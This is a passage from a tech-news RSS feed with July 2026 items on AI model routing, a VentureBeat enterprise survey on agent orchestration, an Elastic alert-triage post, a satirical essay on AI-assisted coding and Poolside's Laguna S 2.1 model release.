<guid isPermaLink="true">https://tsecurity.de/de/3689968/ai-nachrichten/you-didnt-get-the-ai-model-you-paid-for/</guid>
<pubDate>Thu, 23 Jul 2026 20:24:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The line in the response object You call the API. You pass model: “claude-fable-5”. You get back a completion, a token count, and a field that reads “model”: “claude-opus-4-8”. Nothing errored. Nothing retried. The request was classified before generation began, matched a sensitive category, and was handed to a different set of weights entirely. Anthropic […]</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/23/you-didnt-get-the-ai-model-you-paid-for/">You Didn’t Get the AI Model You Paid For</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist </h2><p>The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.</p><div></div><p>Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.</p><h2>Finding 6: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 7: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 8: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 9: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Elasticsearch ES|QL COMPLETION turns noisy curl and wget rules into high-fidelity cloud security alerts]]></title>
<description><![CDATA[Elastic InfoSec tested this detection rule pattern on their own cloud fleet, filtering noisy curl and wget events with deterministic logic and LLM triage so only genuine threats reach an analyst.]]></description>
<link>https://tsecurity.de/de/3689601/it-security-nachrichten/how-elasticsearch-esql-completion-turns-noisy-curl-and-wget-rules-into-high-fidelity-cloud-security-alerts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689601/it-security-nachrichten/how-elasticsearch-esql-completion-turns-noisy-curl-and-wget-rules-into-high-fidelity-cloud-security-alerts/</guid>
<pubDate>Thu, 23 Jul 2026 18:00:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Elastic InfoSec tested this detection rule pattern on their own cloud fleet, filtering noisy curl and wget events with deterministic logic and LLM triage so only genuine threats reach an analyst.]]></content:encoded>
</item>
<item>
<title><![CDATA[Seven sins of the modern software developer]]></title>
<description><![CDATA[If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,”...]]></description>
<link>https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,” “idempotency,” and “domain-driven design.”</p>



<p class="wp-block-paragraph">But behind closed doors, late at night, bathed in the glow of a dark-mode IDE, a different and more sordid reality is exposed. Hunched over the console with a manic gleam in the eye, the programmer has become power-drunk on <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">LLMs</a>. Like mad wizards casting spells, we summon the awesome powers of models and agents to satisfy our every programming whim—and commit acts of software engineering that would make <a href="https://en.wikipedia.org/wiki/Fred_Brooks">Fred Brooks</a> blush.</p>



<p class="wp-block-paragraph">Let’s just be honest about what is actually happening.</p>



<h2 class="wp-block-heading">Esoteric knowledge is superfluous</h2>



<p class="wp-block-paragraph">Forget <a href="https://www.infoworld.com/article/2335255/what-is-object-oriented-programming-the-everyday-programming-style.html">OOP</a> and <a href="https://www.infoworld.com/article/2263963/what-is-functional-programming-a-practical-guide.html">FP</a>. Forget the <a href="https://en.wikipedia.org/wiki/CAP_theorem">CAP theorem</a>, the holy crusade of <a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY</a>, and the design patterns. Honestly, you can even forget what frameworks, runtimes, and deployment platforms you are using. The AI will figure out what is best to use and understand what is already in place. We have more mental bandwidth for working on our side project (a novel about AI taking over the world). </p>



<p class="wp-block-paragraph">Of course, I exaggerate. A little.</p>



<h2 class="wp-block-heading">The docs are dead to us</h2>



<p class="wp-block-paragraph">We still say RTFM, but the truth is, we haven’t really read a page of vendor documentation since 2023. <a href="https://www.infoworld.com/article/3993482/ai-didnt-kill-stack-overflow.html">Stack Overflow</a>, once our Internet Mecca, is a husk. When a package throws a weird exception, we don’t trace the execution path or read the release notes. We highlight the red text, copy the entire 200-line stack trace, dump it into the chat, and wait for the machine to spoon-feed us the solution.</p>



<p class="wp-block-paragraph">Better yet, we just have the agentic IDE spot the error, divine a solution, and ask us if it’s OK. We might glance at the problem-solution description, if we have gone around the circle on the problem for a few cycles. Maybe. If we don’t have the agent set up for auto-confirm.</p>



<p class="wp-block-paragraph">We used to buy heavy tomes like “Rust In Action” that were more like masonry blocks than literature. Now? We just ask an AI to transliterate our JavaScript logic into Rust. We are no longer engineers methodically learning a system. We are glorified copy-paste orchestrators hoping that the stochastic parrot behind the prompt guesses the syntax correctly.</p>



<h2 class="wp-block-heading">We ignore how the back end is wired</h2>



<p class="wp-block-paragraph">We act like we meticulously designed the data flows, carefully crafted the relational constraints, and mindfully mapped the API relationships. The reality is rather more disturbing: We asked the AI to scaffold a modern deployment, hooked it up to a back-end database, and just sort of… ran it.</p>



<p class="wp-block-paragraph">It created security rules we don’t fully understand. They do seem to work, however, which is nice. </p>



<p class="wp-block-paragraph">It generated a schema that we skimmed for about four seconds. It looks reasonable.</p>



<p class="wp-block-paragraph">It wrote <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html" data-type="link" data-id="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure-as-code</a> scripts that provisioned cloud resources we are hoping don’t blow a hole in the budget. Presumably, whoever is in charge of that will manage it by stuffing the metrics into another chatbot.</p>



<p class="wp-block-paragraph">We nodded, committed the code, and went to lunch. If management asked us to manually deploy the stack from scratch, configure the environment variables, and wire the API routes without our chat window, we would give them a vacant stare.</p>



<p class="wp-block-paragraph">We understand that management is also using AI to manage the project.</p>



<h2 class="wp-block-heading">Our tests are uncomfortably incestuous</h2>



<p class="wp-block-paragraph">Test-driven development (TDD) used to be a beautiful dream, ever just beyond reach. It made us feel glorious and despondent at turns. It would burden us with sprawling dependencies if implemented too religiously. (See <a href="https://grugbrain.dev/#grug-on-testing">The Grug Brained Developer</a> in this regard.)</p>



<p class="wp-block-paragraph">But now we can attain 95% test coverage almost effortlessly. Why not just add them in while we are auto-generating everything else?</p>



<p class="wp-block-paragraph">We can now wax at length to anyone who will listen about our astounding test coverage and our automated quality assurance. Unit tests, integration tests, smoke tests, you name it. What we conveniently leave out is that the AI wrote the complex application logic, and then we asked <em>the exact same AI</em> to write the test suite to validate the code it just dreamed up.</p>



<p class="wp-block-paragraph">It is a hermetically sealed loop of algorithmic self-congratulation. The mocks, the edge case, and the assertions are an echo chamber of the model’s original assumptions. The machine is grading its own homework, giving itself an A+.</p>



<p class="wp-block-paragraph">And we are happy to accept this because, beautifully, when the code has to change, the AI will effortlessly hallucinate new tests to adapt to the churn.</p>



<h2 class="wp-block-heading">We pass off the AI’s architecture as strategy</h2>



<p class="wp-block-paragraph">AI can produce astonishing design documents. Truly breathtaking. They are cogent, they’re beautifully formatted, and they seamlessly bridge the gap between high-level business goals and granular technical specs. They even include those auto-generated sequence diagrams that wow management.</p>



<p class="wp-block-paragraph">When we present these spotless architectural proposals in the Tuesday sprint planning meeting, we lean back, take a long sip of coffee, and humbly wave away the team’s praise.</p>



<p class="wp-block-paragraph">What we don’t mention is that we spent exactly four seconds generating it.</p>



<p class="wp-block-paragraph">Are these AI-generated documents just as liable as human ones to hide severe, mortal flaws in scope and alignment? Absolutely. They might contain a foundational logic bomb that will eventually doom the entire project. But the markdown is so crisp, and the bullet points are so persuasive, that the eye just glides right over it. We will never truly know the depth of the disaster until it is far too late. But hey, we’ll burn that bridge when production catches fire. Until then, we are strategic visionaries.</p>



<h2 class="wp-block-heading">We’re addicted to vibe coding (but only in secret)</h2>



<p class="wp-block-paragraph">We loudly mock the term on social media. We roll our eyes in Slack channels when the kids on TikTok talk about <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> their new startups. We fiercely cling to our identities as hardened, serious developers who understand memory management, garbage collection, and bitwise operators. We are professionals, damn it.</p>



<p class="wp-block-paragraph">But late at night, when the managers are asleep and no one is looking? We absolutely love it. We love just throwing a chaotic, half-baked thought at the canvas, pouring a drink, and watching the AI magically build a functioning user interface based entirely on our long-deferred whims. I may finally build that working <a href="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny" data-type="link" data-id="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny">Ultima V</a> clone. The thrill of typing “Create an app that tracks my cryptocurrency portfolio but makes it look like the interface from Neuromancer” and having it appear 30 seconds later is heady stuff.</p>



<p class="wp-block-paragraph">The more deeply rooted in the hard, old-school realities of programming, the more profound is the joy the developer finds in the possibility of AI coding. </p>



<h2 class="wp-block-heading">We beat the problem into submission with prompts</h2>



<p class="wp-block-paragraph">Like Adam Sandler in “Uncut Gems,” we are convinced the next round will fix everything. This is us with prompts. When things are going really off the rails, instead of putting our boots on and wading into the brambles of complexity, we resort to tonal adjustments. These range from the condescending: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">This problem is not fixed. Look at it closely. The error is right here.</p>
</blockquote>



<p class="wp-block-paragraph">To the desperate: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">We have been working on this same problem for hours now!</p>
</blockquote>



<p class="wp-block-paragraph">To the pathetic: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Can’t you find a different approach to try?!</p>
</blockquote>



<p class="wp-block-paragraph">The astonishing part? It often works.</p>



<p class="wp-block-paragraph">But there is no poetry left at the bottom of the rabbit hole; it is verbal warfare. When the context window collapses, when the regressions start cascading, and when the AI stubbornly refuses to follow the most basic rules of temporal logic, the mask of professionalism drops away and something far more atavistic makes its appearance. We stop asking nicely, stop trying to understand the why, delete the pleasantries, and capslock our intent.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">What we have here is a failure to communicate! </p>
</blockquote>



<p class="wp-block-paragraph">We feed the same failing stack trace back into the prompt over and over and over again, aggressively hammering the constraints, explicitly forbidding certain libraries, and pasting in release notes just to confirm that the AI lacks the latest APIs. We force the model down a narrower and narrower path until the code finally stops throwing errors. We don’t actually debug anymore, trace variables, or step through functions. We just apply relentless, iterative pressure until the machine surrenders. We beat it into submission. And then, we push to production.</p>



<p class="wp-block-paragraph">In fact, there is a real skill here—a sheer “will to completion” that remains in the act of building software. We invest just as much time, energy, and heart wrestling the bot as we ever did emitting syntax.</p>



<h2 class="wp-block-heading">A blacker box</h2>



<p class="wp-block-paragraph">The only profession more given over to using AI like a cursed Level 13 artifact than programming is writing. Writing of course is far more open to public scrutiny than code.</p>



<p class="wp-block-paragraph">And while my tongue has been firmly in my cheek here, my faith in coders as good guys makes me more curious to see what we create than troubled by the dangers. </p>



<p class="wp-block-paragraph">It was once the case that only other programmers could understand what programmers were doing, what they were producing. Now not even that is true. Only the machine knows what the machine is doing. We just keep it tethered to our aims. Hopefully.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]></title>
<description><![CDATA[Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smalle...]]></description>
<link>https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="http://poolside.ai/">Poolside</a>, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.</p><p>The model, <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a>, is a 118-billion-parameter<a href="https://huggingface.co/blog/moe"> Mixture-of-Experts (MoE) system</a> that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are <a href="https://huggingface.co/poolside/Laguna-S-2.1">available immediately</a> on Hugging Face under the permissive OpenMDW-1.1 license.</p><p>The headline numbers are striking for a model this small. Poolside reports that <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> scores 70.2% on <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a>, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek-V4-Pro-Max</a>, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter <a href="https://venturebeat.com/technology/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship">Inkling</a>, at 63.8; and Nvidia’s 550-billion-parameter <a href="https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/">Nemotron 3 Ultra</a>, at 56.4. On <a href="https://www.swebench.com/multilingual.html">SWE-Bench Multilingual</a>, it posts 78.5%, and on <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>'s public dataset, 59.4%.</p><p>Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.</p><div></div><h2><b>Why the West's open-weight AI gap has become a boardroom issue</b></h2><p>The release lands in the middle of an increasingly pointed debate about <a href="https://www.scmp.com/tech/tech-war/article/3361142/why-chinas-open-weight-ai-model-kimi-k3-sparking-anxiety-silicon-valley">the provenance of open-weight AI</a>. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. <a href="https://www.deepseek.com/en/">DeepSeek</a>, <a href="https://qwen.ai/home">Qwen</a>, <a href="http://kimi.ai/">Kimi</a>, <a href="https://chat.z.ai/">GLM</a>, <a href="https://www.minimax.io/">MiniMax</a>, and <a href="https://hy.tencent.com/">Tencent's Hunyuan</a> line all feature prominently in Poolside's own comparison tables.</p><p>Poolside's accompanying press release frames <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a> explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's <a href="https://openai.com/index/introducing-gpt-oss/">gpt-oss-120b</a> last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.</p><p>Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a <a href="https://x.com/eisokant/status/2079612416967491952?s=20">lengthy post</a> on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.</p><div></div><p>The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. </p><p>Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete 